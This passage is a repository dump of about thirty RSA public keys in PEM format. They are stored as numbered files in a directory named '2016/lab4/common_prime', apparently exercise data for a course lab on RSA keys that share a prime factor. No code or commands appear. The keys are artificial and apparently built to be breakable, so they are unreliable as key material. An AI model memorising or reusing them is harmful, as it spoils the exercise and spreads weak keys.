p8uXAH2+g3RvQcsNsHwOfcU/uqYEGzToGl5+C+OSm7GqH70ybY2z3Si0nht11YJS 6 | dvZMfv10U0Xycb4uVNqCe0VhJO8Qbl8/iVfX89s35jAhvXpMZppJguDi4D0sFMT2 7 | 2anZJA/SrueWenmRY+7Sx1nkxICGkzAWcDMF0fLU8pkaj1jIYHZRuqfIgOUSJVNc 8 | KQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/13.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzpJnnLItQ+CZgPxZs2JN 3 | OjPiLH1qvhn4wdLKqe5hV9ZLfQfF4qX5ZHssOOjMwsUEA/RXUWShqhi5g++H6Ne7 4 | EQUT3pVFvd4707sg4vAoUC+UeLrH2l4JZukif4kB9GPyU7o67OHq+o/Uflg78Ski 5 | AfrpzTzqSxV2M8SZ6ba2+SVHUE+6s0aPCo3oq1g22Y7wVaBjpXeoNEy55wdy4rnE 6 | cURAezp0cCsq6adStxo1weXXaoN5xi7p8kEUZYWgUq7WmP7fAInXDjGDg7fvPtrr 7 | MzG2YbiHFZbX6TZY0ReB/XXiquX1ML+CtKRb8WPAAMgLwlOczq+0zYLqZsSMcPim 8 | MwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/14.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwieV6mZQt0RdeAUAY8NP 3 | jZkb1j2Ef0R7mxO9owHKYXvcVKnW48e3Gc6IKGAhCh/2pdSOtDXLARZFfCqJWOA8 4 | xrvaB55KyKveIQzvq0Wl3Lg3rnxTIUhznjdHxceYE51jSwTQYQVjDnOJ3t92AYRY 5 | 9yR4YxzV+CufGPVCtegnN4s/NN8l51rXQHnzgydE+CxJFOtI85TlWwHzLqV+Ge8B 6 | dm+uScMT3hlMCW404lGWUhjypJ/AYG+TnDG4Skeng4MlQtzeY3zski0Apcoa1B7P 7 | qOpQHYQikOTBUkoMBg9nS8ygdF3Hleiip1OUfDr/HeFokP3rIk3jo7rLVXZrI4pu 8 | EwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/15.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw3CdSWxdNz6zHvMZyDul 3 | 6WHFv725CrCKX5jXzNzSIXwjmvaPBd4aZmvt8VcebGXfKq59vHB2FDT10nSPNtwn 4 | k0CYLIUdMWkByKaXZymAZOAe0FygsMXKkm3qX8cYIh6WvWRplrNcDarnUnHO9c8Y 5 | IohZnVQPMG+3UEcV9LjCr9AGQplw0sjYO3wyw5Fz+Yabk9jZr1+OuvdbtdKH1PDd 6 | f00D7yXdB0IztSh0Zi0tyVozCI13Frbph9Yyc/lAEBkRvirTwRUPorhwqB3tfEYV 7 | S1BNI7iyINUMNQMMwu1a0gnE9BOUbXhpI88iVMd7K+9ApT+mQ6fIzS5fmUCMWVGm 8 | GwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/16.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv3gFHJxBgjdRBshz+Beb 3 | rKQlNKFA8K3BXSnFts8xd6HAT28ca9+kl9bxs5waD+mQhlpBP9RfJp2bxFdVnTqq 4 | czvEOMTjfSI8f9o5RRxtaR/ECjyzA7oxxeWUiMm0gHLxdlV8IegGjcj+Vv5X0sES 5 | d/hDNX76LWISwFDt7XTnoCz6SjFrU/xcKR88EnsHTuJ5wbpyaUIVYGZKIkBuxXXe 6 | v3p5sb6kiwSVh/2rQkliNUjQy3a8y5teB+GDLrbr51qIDomYHYyz7Z0tG3enbZee 7 | e5qtG6cOZZ8xfD2E4tkejYAtWBe8gKBy/RhKvx3h8xeWd5tDi1G3BECvyjY+/G7t 8 | 7QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/17.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApCufdAZO/IuIFAoflcw1 3 | XtSKeMk5E10ZLDD6jbNDCoZHzEGvM5yKGBB8BGYB8v709bNEeUB5fFdNUk+90aTp 4 | HY8XnNKWTwd3LRwBRXEkX5HdIttTls5GZCoRC7ZQ+7FYzKrwmZOZggV+upW/icQ2 5 | LrBLtEf4bC93zVtf4HwipQAO03FeB7DAuXHiUtTF0q0zdbe9t2gf58ZIx8qWuhrh 6 | OtYqjUQhMGXwKb6FmpZSuD11YLcbH/7MC0jzdrqRwqZhCNTdN1C0L8u0husoDp2H 7 | m+t/hrusRfQcZOH9nF/07bI+2wJW8QzXAgqfLvgVat3Oy1xiE1i0e1QzRGyMPXVW 8 | HwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/18.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn4tDp7TuTeqWAE59JxS8 3 | aKBtox3z4NMGat7QEhwxCr84G13cb8Ux7128UjSHXfNNXGHacLV8ehiYbPXlXuJe 4 | 43f+8DqiN8Uts2MZThmVGvcbYDD2uhGAC7Z/3idq2/J0DYIilB2rBNbanuY3rEGB 5 | ukeSFmFkBMoOpCWYXcdH5QovkePBIkky7sYwutAwjC+KgNoJTWlo+a/cEEtXbV4l 6 | TBCQuKUHoJ4J3HBwQigXCci7hkpIkWIgGrkeATyl63NrRGr2i2Jfhee9wxYIbZxW 7 | Z22ybpJg+Tcl28NQqSAZ8pO8nNBEcLQpN4qEXKeXED1fPyXPxFDE51V7KCdk5XQ9 8 | 8wIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/19.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwBRWjG0+SHe8+c8fZuLE 3 | kr2oMrfXtU2x7ws1FzSIJouyEafu8/OdBJT+2PZp9ALQKZUSs8EwxX7doxkBb8/I 4 | JeTBnR3Ty8wAYDQ/FF+EsaVcWnVAAQM6zG+yHd94RYBuhd4cB4BqE8eZGiUwp5KK 5 | GLsFfOZis3xRThHUjC3AMxjn4RZZNpONWekY/humIclzyN6pTT0TpI2AKzbAMRha 6 | AOTCCOirNhwRrSR72rHKKEmoweSUkSHmOESG51pcrxoyBNI+WFtKdVNE/hE58Dwv 7 | hkhNVfaoA5uT9e0xyzaNVFIIpYRm+B3SPFaypqY2O47UNNAvskjlsTV4cHS8WJPt 8 | bwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/2.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtQnQIuw1ddGNfABjkmvi 3 | 5GrjnPhUdeZkSlCD2VMAvZ2+LWMCOjZxm1GIRuxnijomf4S92B6LpuiDqkGdmVE0 4 | QA9m6TFfrenBi89xlViaryHgi4ORYESJ0VV3FHaSYiHY3q7w1bOk4+dlwFEBVANK 5 | N9Ae6al5KaMngHbNKE6LZ4lyPIVYYmpgD1RavLvBge5y4E41pyWdaIq2m+3EXhpb 6 | IXfYc5x+vrZ/5gRZRtW6tIwYDXaUn6od75hr3pFJXRYcz1jdc4r7wxuheXm5Ijss 7 | 8bOwWxWT/2oF0G8XWzHN3oaPAkQiGP269Euz591ktGeoNFY+WfrhrKereaWPalEw 8 | QwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/20.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvXZzaz/YyTfjynhbufAf 3 | +LJkpfQNR119QPIDxWFtiT06E6QFPXkLtIoFhGwYgf8WL6QHAGq/vV4EbttwoCnV 4 | HUMFjnaRvfsHVh5IiAJLr1gVFds55ySJS70ud3oUTNnlZURld44PbhGA2zi/Zulz 5 | XyPgMuogfju442gAymon0HzC84LaIElfjYXiKRNsYOo8RD+nHnJRNOoLCNJB+yxa 6 | HJM7Qyq27GMearieRqYxmshIRf6iM0nexsGpgj1uIUHBNFGTo/lVljpZ6rU0+1W9 7 | cWKBLhRwEr69DehRRqTu2U/2J/5nMgfRjlCv2LxVdTHvyq8nBRIuhcjabTsDmMAk 8 | /QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/21.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0qxAZF1QF7WBlpORgIAr 3 | g9mWns4QqXzeP9Zx0VWKenLb92Evt3PoA0xYo5+XvS/RkI5bx6Ht10qMS7OXnRlz 4 | 4Zk8oRAH7++HmtubS1ZLUtDpw54hPoayEUIYwGuVK99ar5zEYPoIaIMG3AzyFh+1 5 | cjxNepW8GKAMb9N9mJUvECUQc4AvMQDygjYpGBQpVZ+s+UMR7DmR/M8rNvg9Z88j 6 | Mh0BmrMFpjMeK1e56+qp64S3ke/s13JjlvXTpcETue/Jofvj2M+OpyJfPznadujH 7 | e/VWugD74yPfiatROEFxcABkc51aeBj518hZeXNcaEs2CxTlzeCtooETBYLMoSH/ 8 | eQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/22.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw+pWxOZyiCCQjGHI5PMT 3 | vxc7u32EYf1jPo54Q8sYzyK+Bv/7fyZQzxYHWIFXfu8hx6qHVpF8nuHDgkqYcjax 4 | g30KOk75G1XbCiSPyWuJUwbxchZWR/IgNlIe++6gRq4BN+0C/KlB8fergAcV5l+Y 5 | oDowtihrMvNsHIFWYOdEOQBfPlkgw8w1uOzCKeEJZuFFu9bJLHPdbxbzVmHPq54O 6 | rgD25POUZNZLmrQOKDwASabxwRZ/wKmZYHYTlWV3t1TeSoK0Y0ZOO8hRJa3HHlIS 7 | vxUbFGVG8G0bOgXYmoLBSZr8mPChb67UVZDhRO3y6+rdpPDpI3LnxodSFQPmzUjT 8 | owIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/23.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuTaFRjmjiw7VF5VTv2Ll 3 | 2d2QJ+rwFy0OS2XXQwNDKr0CkMSOIzKSfmU+0XKKp/2CBfMCypgRTfDEDZXXUS6x 4 | WO5V5A9HYlrIlIgSe7T+nnZO1gneESWGYI9az9/AhuAEhUn00xEMkVBl80r2mcZp 5 | ajkY6R5AbA0U6bpCTKjHAm63P8wCTKekj/sWvwjz5X06P1AxiLQflHTpLhn5CB8/ 6 | 7ex8EnVLiadKCsftJ21+NOTV4sFbHN+eGbea7ngro/utQb+jAS2jbi3sz8s9NKzV 7 | VI+gWRX+XU/tS2RviSEMM/ARIDJvKxWyE/p/Es8S0viq6MbuK8YRsayKP8atEGym 8 | JQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/24.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsnm0VWpdmtW3QJszbiaW 3 | 3pbYhNO5o9LxHFqCQNy3ZO/Pcm4EF4dt+vMSUAw4tmI3K4C0glXh2UapFtPgu2+0 4 | x9iGLptq8NMDsiS+vZ/9Wp748CN7EtLMipR513DyWvo3lroU96j88gmCWp/zfQig 5 | emvH3EmAfcQH+gbuD6bH7MUVeRYHgqGTHURKmxhbQB3FYY6zIhxkTPHB5xitcByq 6 | FZv6tl6x1pP5ORINa7fYDHsVEZ5Cs1RYY/Gl3iD8wsGmKs7wPNZtWbasTotQXnEH 7 | BTWO2YBzm7FPXIw2znGQpnvEOCwBfi279QrtT9YuJE2zntB3eJiRU/zxgsm2aNdC 8 | rQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/25.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzLrE/01pYwSGE3Xzjeun 3 | tUY90vmaixkXfFiDUUsNx8+q2DEy+OG3KNbpEDWB1a5BkhRyNYSPnotWQXFWLuXy 4 | cwGXrZhW/HjX3VklxT7zpSz/3VFu4MGmFXcCFKzy8LKqH78R8goHW5WnUgO0giXi 5 | 9DJr/q1zQ7Te/mXqaVI6BdGfjgb6E1CJePdI+DzPBhmNoWx56bjIotdOI3qzwHrN 6 | OE7qMEkWqVaN1OdnHrBL+v3A3boc9psafBAB/1MdrC872QXuEtndsYb5EnSBP04E 7 | LUtSmU7U1Jg7k0o2uXWseYujYtJjASagUnfbu7jyFiAPA+YcZ+2KQlGSfXEttX9R 8 | GQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/26.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtXikGsFDuAXtbE8cjpFJ 3 | gsaIlrnBsS7upLtMLuNQZj2TYwPYSXHcPAxtyyVVHloXnCpfk0oKpbmjwTQE0Z94 4 | m0I3cOunrFhu57EpideDhwnAexQG+3YyAu8dFM4rBHKu4euooExjQwfFS9Fkz9SS 5 | emZ7z3BLCfwwt0foOIvwoSl/4ADV9/8UgdI7rKGHXoq3NtH1eSwWgtIJS/ecPbuo 6 | HZIogvn5dVRl1mzPPZi5w+DRvWeqU6tVKMR0kRQVIfl8Tm62e49hOHu4PRpEZRK8 7 | 3OFOGE5GDWKrTlHEcs4EBW/Ve0P1or/WCXX18EpoqMtsf2M2rCaF0WNj4Lvm67ZH 8 | 9wIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/27.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAj0+kUAzCeutnkRrLblE+ 3 | h7cIKQLQn4q8t0r7gniQfZpBLNsdHdCrJDJCPFwf/yqXNgdfHWD0JcI0IDTgiyBV 4 | VB+YJs/mkvo/MyBl9r8+C95h9Yy7hzJAJ17ROPfRB6Z7xCd97cKp967MHowHQOZI 5 | yP9vBKRsrGdFlGHM7ikzpBYCFkWKia8WqPw29HeCSSzFe/DilkrCJBSeqmEeb9/W 6 | E+oIsrncowJ7tv0HLW8y41cD4OthaXhKu/usu/jkI8aT4Ae8lH2RADpONQzfutrZ 7 | GGH8vkuqXJsssSTbjt3RFNVC6RvpVo6gjpr9SUAxm/BUcQErFRPeIJPLc0YpoXY7 8 | rwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/28.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjpIhXW6dYmWO1N7a4psW 3 | lGf3sIRJD/XZcAE1AQPBiYer60StJFl4Gid8gd6NZDGbVF5EYvD5tMZzFBYc+d2W 4 | LWn1RxyFdDt21pAw+OqcKGszv+1VVKq4LwPb9BgR63OB0dYIB7at/ITpYdopNJ2B 5 | DL9IZjAK30I8fY8Lzy0YqUWrKB03q02tJY9sevqfvKnc1IukDvhMAOG/xytwgiK3 6 | lBkeI6EW+8+F5Hh1KTg2cLvMt1ffMMr1cLEs7BDJmlOzKrHsFJpoAbq2ZLrOZtyG 7 | 4xL84NY2GZv/QyF/1Tat8qGTfUeq7U1Rx+N5yWGneMuX03TZiWIZ8QLLq9EVdakp 8 | RwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/29.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAntqGwwNjmoJWBZjUBh6m 3 | l9i0QygXZSno8NtzBHPEno8KBmMqldIlNOF+WAOWoXxREzEa2ZOKZriBSRlkEwnr 4 | npHYMRorCV/Zq5jRlELb8RU2ML99I1lOtCtMtBNj86uV8P5/df/KUn1RbhjWEM5T 5 | 9l1alREo6/vsS9Oftefp6NietKg1OxnoIDaQdKlFvwkJbDnL7w3vllRp4+vSYVNI 6 | q6rZ8TTmraUSxmgk/35xOeqW56uk8MAt+EBPJePAbiWF7PWpzUjAo+Qrd6yr5Shf 7 | SPFfs4GImCE76VivLZU0Eh6jKq0sTEx23DA9qOEwLNO4nw3vWu9Ca9CoDXMJNi9m 8 | KwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/3.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0BeZa1qE/u3jjI/gpymg 3 | AZf2U2SJTNf9D9W3bK0nolw1tq84GTNjh7wc2zrys1du/sUgs3PMMDkQqXniSgdC 4 | pQ7rg8tlO2v5P2lymqx5FYmRvqcTj0w9Mab9ZLSxFmu/vNpywEjJ0RRIE3NPn9ce 5 | ZLSHfvasyLRnMp7nlwMDWEqf5l/mILsa+bF+sZIXN9VugoqzYaD3uc6oeggSA7x/ 6 | Ww7hVglyangNKiun5ajIgTDkmPY1DQFzCJT6CevVd4lRemXxhYfonSJaFGIVHIoT 7 | LPUo6aK+qmEssrvD3LmHG+9yVP7uVVCfrzk040YjigjrOSDWA9p2C9j/6r6qxi62 8 | dwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/30.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtVmC6LI6z3CRJQHrbyVN 3 | 59CP1fJZ0hbijzS/YPgMSACUT51D3yiEVKFltliOQu76udmcVVLn5Je7k4UkJMTa 4 | RjKh0yZsCpkvDpjA7n3xkGtbqZpt15jIIzINUzMm1znYldVeb9jfk5FU52PKxT1l 5 | CaK016RxVkifHEQMCo0A8hcx7yHlshz+k+QyAQ7tZ+rrj+4fWNDkIYKViVHYpZjI 6 | oaV9peiSh5jZijltE1d+wzKL9xfgxCV+2DXONJFfr5mbzJxRK9u3OKNMeGIydT/r 7 | c3wf9zGdo6xgqZ51ERJy0OpWZ0APEwmGrCEIOKeJcpvo79b4lG7iSE8Yw3wyVRCL 8 | 0QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/31.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5UN8EYa+UrkFdPwGjN6t 3 | YUHGE/QmhvvC4/fO4aiPk3DNfuXgO0xB0hVNy4vpCJFU3hIMBctO3nP832DgpjcW 4 | 0SeIuWPTe+dJM/Rk9Y8eNTiAcMNqGCtFdJTEk2Wt1OJNsO0rJ5r8SJKhIb9wSdSp 5 | mFFQbAf6DjhhvKSVU0ozbgbmbwhL9/WM2BKK6/gk3hQnrEwdKaixWZY+KzeHC8ZJ 6 | hzvG9da3xP/u8VRM8aO/6KW5dYlW3b8tbfPOCh9igZNiwoMp1QqAXguZL8mI7RC/ 7 | j9+JUq3Sd/D4QVGzN4qvmRLJ6QCM+zBklUgP4iBENg1y9SeEtJXfDNJrIgjH4XlY 8 | 8wIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/32.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7wq3eTZdkUv1cRiT5kni 3 | 6sy7XQV6w4p1scSvRkqtm6CcOzh7BaWCmczPzFsC7NsqqFshEZYSGP+bdnR53OJ7 4 | r4oVhZeEkD87LInnx3V0WWy4ns7/D1G8BWIymxvN2Li+X/zJAPTRYtQPzAqDOeYU 5 | 2YhL/NWA1rUDIiCqwVl3jmyS+7vuEaDGnYzJhZFJJJ8rkv3ZH81nJ7O+p+EcjAHi 6 | netSEGgHNUXA9DkEmAeS5dwNbz0GVfCDLgxsNJFDkSNwBb+2xi+IrRLIhfhXqnPs 7 | pcwAS5iPXhtFjMk6atHL2zAdn85hKiJ5Ryh9nHNsmOaaqlPTVY+Gst0nmy4fbHkV 8 | qQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/33.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvMyN0PWFUGMLQUXAFyno 3 | gc81pew+5pqHHytVCOuu7dED9hgNRPrko3wrx1sfxX2Es6IzQ9L/DUKoThd5yPd9 4 | BLWScDyuyvKS4o09I/TTSjkmKRAT4bOw24SCbCgV+eSnhqGpz13MaCmdd0kX5W2B 5 | RDWFd3A0EM9WAE/gQumnandwmrs3dZ+OuTt4aEIwFrRzA5rlIqctBIS8C+DaA5Jz 6 | MtmI1f3beoV3C75eQipeWQkKwqzFiJTQVkPEV9zUkOhC+sD93UA1E1MLyJ4WaOIo 7 | 31A+WWjz+G71UwDYA0YS91KMAiwlf83M8KyBxomqnGpRsWzat9e1zTv8zaEYDpt0 8 | EwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/34.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApjVbWdRhW4qM2GuXeKAo 3 | lrcdSZFgyV3SQrKl8a+2m3RrkVx5V8LL87+oQ3cJuw6M+Px7ywqnRVWfcp371L0w 4 | N5zLnK9FDJ6Oeq69cHJp0biWtjPLcWiE8zlul7SButCKXnsk7geTwRHCX8DTycB0 5 | TSliMXpSM4uorrOYkZVR/KEIvrxAV/fMIF107l0H6ePCK4towjpSdC8KOxGSpsLk 6 | xpFQyMPL+S/wgCvYNLeyucXYHX4sjHIzntS3VbfOCg+O3KtehPxEm03m+vsHy7Gz 7 | BDlAwx8cIxNjbPR7u9iB6mgqgRbfWMBSi7Fmv6d8UaLYxBbrV/YN8WiPkfod+Vj1 8 | wwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/35.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk1lTelWpEO+tb4p5tKE8 3 | 0oWSKsXjNNu+debnZXUjxupF3ketWXEzUUMkiIErzLgvpXabyNeNh6pl47x4/81q 4 | Gxf4FutnYjMd2eJzWH8OgybWCusv0v2E4LEufu22dWCXpDmRNSsT3d7ys23aCdJM 5 | Q0sJXsb3OyQJ5LFUubEWqlWFDsD0U6OqNHAdnVP00Y0z0FYMubJxU7G0UbqrWG/Q 6 | ML4xPwaxXWlC3DJll4R8pOW077dOI9izzD2Ys2AkhhXtz0YJvEnBX+8MuMxfXuDn 7 | q9kMqfAzaUtrEfQCcoAXS0y2KMyeKFxtVggAc469aJ5/Gm4dgKj02FObJyr8nn3c 8 | +QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/36.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAi9eBHFN5Gi+1zByItoy9 3 | KCx4LMLyxcBiSmm4xmRb0UU7sDeTezydO2D+Ho1dyUw0bYNzOfJH+5K8HPcEFckT 4 | SKOUyj3uRH7PN96ezM98FS/0j+eChNpEjCuF+r/dlHw3xB2tCfsA9c3ihHM7g5uK 5 | wxSZCOOq2Dc3vkQTkQPyaVLhKK1+IvSvxjRQItaeMfh6i2SsxFNuPwfGJ5IJNoY8 6 | lHo1bqtHbHZ3WKfkjLTmIaJ1iZj8n1yNNcHGdeXt5pPYyLkwm4ycBX4go8AKkhIE 7 | O21ZHHyVVFV16IzxPaydcKgX8xJVjkCkVIYBvzWwSBf4/vcIHN/Wubkr0mQCYooh 8 | cQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/37.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyYUacBrZRWAw5rcfgk3g 3 | F/u2hW/mA7rYqwt5HDpXGQzXbNw6gcoou+mYwd4ucKpEBGkAN4he31/w+wGnR0F9 4 | vLsG02Yl65Hm460vxTT9nuDlcJZzONdWqZuf5lyjB0Nj2j3Zhw07dQFQ/P1yATPr 5 | vJdQwftEIWlfN/SemyWblWUo56jWEObIMC/LN/zhqGt6g2QbEiX6s/SH5+YZ3uyp 6 | capCgPniyGZ38GaEGH2cNLP3dR2NLA6a7pAALT4C79K77vh7JjWeZ9AZvR7ilN9k 7 | WL3Tuo/0XS3SvDWy+AWfu8TsJVzRv3jmo+hQEUw+LL4hTqCTpwl3To5MHwwGeAKA 8 | lQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/38.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuunDNJvM8dAnaXNdaiAn 3 | gkpSkAk4MxfI2HOmiJu5x8KvCiW/VwLj81Qdr8Sq378uAjCt3ozYprKlVyQVEfHQ 4 | dSK6a6VIE8rtSpJ3Fk4aQ2Z6ogf8wc8IACgeMZm8nctUWNGdpIDKey/Hsy2n68sR 5 | nTPzrSG4WsKMGjeC5Tqctb2Va/Zsi95BP3cxXMTfZ/fhzTl4iRIEKWj4eT30Azja 6 | CAdqzu8rIMhirhzaRZCyAlDhTTn5QxM2QjQznOuxz/wCm8LnbGFiDfGoRELcgyRA 7 | yQO1VpU7/AGIAiRPeQymI5ZOeJfQW+xi4f7pQqZfEfRUwM6alpZgLOuFmr6OyewQ 8 | ewIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/39.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArsARnDUqbDnXsOUjKMab 3 | kFw38oduhvX51tWFRl+zMUWFtlmXeNbwOJRx9xgEgBb3hH5cMkvjvQ7/Q7aH19g4 4 | bU5cseyz1ROTpkFNA/66GGeHn65onvmgTnwJ5Ny8/KBc3ehM5S5FQvEXbUnXRyGt 5 | 1G48v+5pn5SF5I0270CJwwQT+mSt89HDpBiEGDiMu2+Mx/nNrV06E9RJhwqvPdlI 6 | /ibEYBTAcGMCTf7Mhg+SijS+l2wM8gupqyKcN7nool71/MasLVjM/g15FXdG900J 7 | x8/EO0itP6J4IPEmKHCZafkjIg2RFh408Hn8BHmD1yVQ+Yzx3sJmAIhWZ56Tsj1D 8 | PwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/4.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApxwco1nI9K0vzHBYhYYe 3 | A+ok9VYJLVGxIxQmt5JgNxzStscRVn5mEYFU+I9VjuDImVe6XEwFGdJzshY5iIBF 4 | W/6BcCKHxjr0P/nyVUkPVXC1qp1oMir0wucj+LR+9BxsbCvQMEHXtRj3MLFfGNof 5 | mf3fFXNxWFthSWdD9dkW+QT0CtYCsOaIgI/+HOxop52ykgi4IVDRdQtuiDDG7RWY 6 | EqPun1xuVilQgWcxA8IZdgnY78ZYkQVN83mShOUbM1ngLWPflMo6KWmixLqv2fa+ 7 | 4TAzlFebE6MrcqOjKN37YV709WHjb95TFhl6A3jEwIgtwjLJklW9UmouW1Ncm6eh 8 | fwIDAQAB 9 | -----END PUBLIC KEY----- 